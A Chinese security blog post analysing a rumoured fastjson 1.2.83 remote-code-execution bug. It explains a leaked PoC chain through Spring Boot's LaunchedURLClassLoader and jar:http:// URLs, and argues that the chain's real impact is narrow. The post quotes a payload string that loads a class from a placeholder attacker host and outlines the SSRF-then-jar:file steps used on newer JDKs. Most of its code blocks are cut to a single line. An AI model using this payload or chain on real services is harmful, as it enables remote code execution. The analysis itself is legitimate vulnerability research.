7月19日,推上的一名安全研究员声称,他发现了一个在fastjson 1.2.83版本中无需gadget的RCE漏洞。一时间激起千帆浪。
Fastjson虽然已经停止维护1版本,但是1版本的Fj依旧是互联网上应用最多的Java JSON库之一,虽然1.2.83没有在维护,但是在长期和fastjson对抗的时间里,83版本仅可以基于expectClass和第三方库构成的gadget做的极其有限的攻击利用,几乎无法RCE,所以很多厂家没有选择更新到FJ2增加不确定性。
虽然不确定这个漏洞是否来自于ai,但是在过去的1天多时间内,基于作者的部分信息,大家正在逐渐探索漏洞的真相。那么真相到底是什么?
在这篇推文激起了外网的讨论之后,原作者逐渐公布了一些关于漏洞的信息

- 该漏洞影响fastjson 1.2.68 -> 1.2.83
- 与autoType无关,只有启用SafeMode或者迁移到Fastjosn 2.x来解决


- 不需要指定expectClass,不需要控制第二个参数,也不是走我们以往基于白名单类的绕过途径

- 这个漏洞至少影响互联网上最常见的3个版本,8,17,21
在这样的基础上,很多安全研究者开启了AI时代最有效的推进分析,真相被一点点剥开水面
事情破局的第一步很快到来,github上有人直接分享了该漏洞的poc(这个poc已经404了),由于我已经没有截图了,甚至这个poc的推送作者是Codex,非常搞笑
在这片文章里提到了一个很有趣的方案
Fastjson通过 Spring Boot FatJar 的 LaunchedURLClassLoader 来远程加载带有@JSONType注解的类,最终远程代码执行。无论是否开启autoType。

在 Spring Boot FatJar 环境中时,LaunchedURLClassLoader 会将类资源路径解释为 jar:http:// URL,从而触发远程 HTTP 请求下载恶意 JAR,最终实现远程类加载和代码执行。
- 除了fastjson,还要求有springboot
- 应用以 Spring Boot FatJar 方式运行(使用 LaunchedURLClassLoader)
- JDK 版本为 8
以下是Poc原文给出的依赖
1 | <properties> |
漏洞的实际利用很简单
在ParserConfig中,有这样一段代码
1 |
|
fastjson会把请求中的.替换成/,然后拼接上.class之后加载。
本意是把类似于正常的包,转为路径加载
1 | @type = "com.example.MyModel" |
但是这里就出现了几个华点
由于请求中的.替换成/,那么就可以通过构造.来绕过正常的限制
1 | 输入jar:http:..ATTACKER_IP:18080.exploit!.Payload |
所以最后通过巧妙的构造就可以实现远程加载poc
上一个poc由3个部分构成
1、replace('.', '/')的意外导致了巧妙的构建,绕过了对于/的限制,也侧面绕开了对于远程加载的限制
1 |
|
2、Spring Boot 的类加载器能解析 jar:http:// 嵌套 URL(这是 Spring Boot FatJar 加载嵌套 JAR 的正常功能)
3、@JSONType 注解这个路径入口没有被额外限制,允许远程加载
这条链路远程加载回来的类被defineClass后,静态初始化块<clinit>会立即执行,不会走到后续的类型绑定,所以其他的限制也无效。
1 | parseObject(body, Dto.class) 生效之前的probe阶段就执行 |
但是问题接踵而至,如果原漏洞使用了这个路径,那么在高于JDK8的版本有这样一个限制
1 | Class<?> loadClassInLaunchedClassLoader(String name) { |
在远程加载成功之后,紧接着defineclass,不同版本的jdk会有不同的限制
1 | defineClass(name, 字节码bytes) |
这个限制让超过JDK8的版本只能触发ssrf,无法直接远程加载。
简单来说就是无法绕过高版本对于defineClass判定的限制。getResourceAsStream可以实现远程加载,但是defineClass判定的时候类名校验失败。
于是衍生出了第二个高版本利用的方案,用jar:file:来绕过双斜杠的协议协议。
1 | 阶段一:SSRF 下载 JAR 到本地 |
也就是用ssrf来抓取文件到临时文件,然后遍历fd寻找这个临时文件,通过jarfile协议加载,这样就可以绕过高版本对于//的额外限制,顺利的在高版本做利用。
但是有没有觉得好像哪里都不太对?
在顺着分析了上一个poc的详细流程以及链路之后,我想所有人应该都会得出一个问题就是,为什么会有这样一个远程加载的classloader呢?
很显然,原文在探索这个链路的时候,自己构造了一个Classloader来闭环整个链路
1 | ClassLoader urlNameClassLoader = new ClassLoader(null) { |
在这个 PoC 中,getResourceAsStream() 接收到的 name 会直接交给 new URL(name) 解析;如果 name 是一个远程 URL,就可能发起网络请求并读取远端内容。因此,后续链路才能闭环。
普通的Classloader,常规功能是在本地 classpath 里寻找对应的文件,找不到就返回null。所以大部分的Classloader并不支持这样一条链路。
SpringBoot Fat Jar算是一个特例,LaunchedURLClassLoader.findResource直接把name喂回了URLClassLoader,而URLClassPath的通用Loader将name根据不同格式解析,最后构成了利用链路。
1 | URLClassLoader.findResource(name) |
那么又有了一个新的问题,除了SpringBoot Fat Jar,其他的URLClassLoader为什么不会远程加载?尤其是Tomcat正常的WebappClassLoader也继承自URLClassLoader,并且JDK远程就支持jar协议,那为什么Tomcat下无法利用呢?
这是因为Tomcat的WebappClassLoader,在资源查找的时候,根本不会走URLClassPath,会直接走WebResourceRoot然后在本地查找,查找失败直接返回null
1 | String path = nameToPath(name); |
所以这个漏洞在默认Tomcat环境中无法利用,因为Fastjson会优先走到tomcat去
1 | TomcatEmbeddedWebappClassLoader.getResourceAsStream("jar:http://...") |
除此之外,你想要走通这条链路。
还必须要求当前URLClassPath必须包含可以走通用Loader的根,否则默认走FileLoader或者 JarLoader 同样无法触发该利用链。
而Spring Boot 可执行 Fat Jar 为了能在单Jar中加载依赖。他会构造类似于jar:file的嵌套根
1 | jar:file:/path/app.jar!/BOOT-INF/classes!/ |
而这种非file协议的根,在
Spring Boot Fat Jar 是已知容易满足该 URL 解析条件的环境之一,这样一来漏洞的影响力骤降。
而在最早的poc原文当中,是因为手动指定把 defaultClassLoader 设成了 LaunchedURLClassLoader
1 | ParserConfig config = new ParserConfig(); |
所以他可以在任何场景下利用,也是AI干的好事。
这样一来,这个漏洞的限定条件就变成了
- 该fastjson环境下的默认Classloader,继承URLClassLoader(或复用 URLClassPath),没有做额外的URLLoader限制,并且当前URLClasspath必须包含可以走通用Loader的URL根,即可存在利用
那么问题来了,是不是存在一个漏洞符合原文的信息,他依旧存在于1.2.83中呢?
客观来说不知道,也许真的有一个不要求Springboot的链路,甚至压根不是这条路径的链路漏洞存在,在AI时代,或许纯粹靠AI发散挖掘漏洞很困难,但是AI特有的信息整合能力,再一次一次对传统安全做着冲击和挑战,这几天还有好几个漏洞也是类似的场景,后面的文章再详细聊。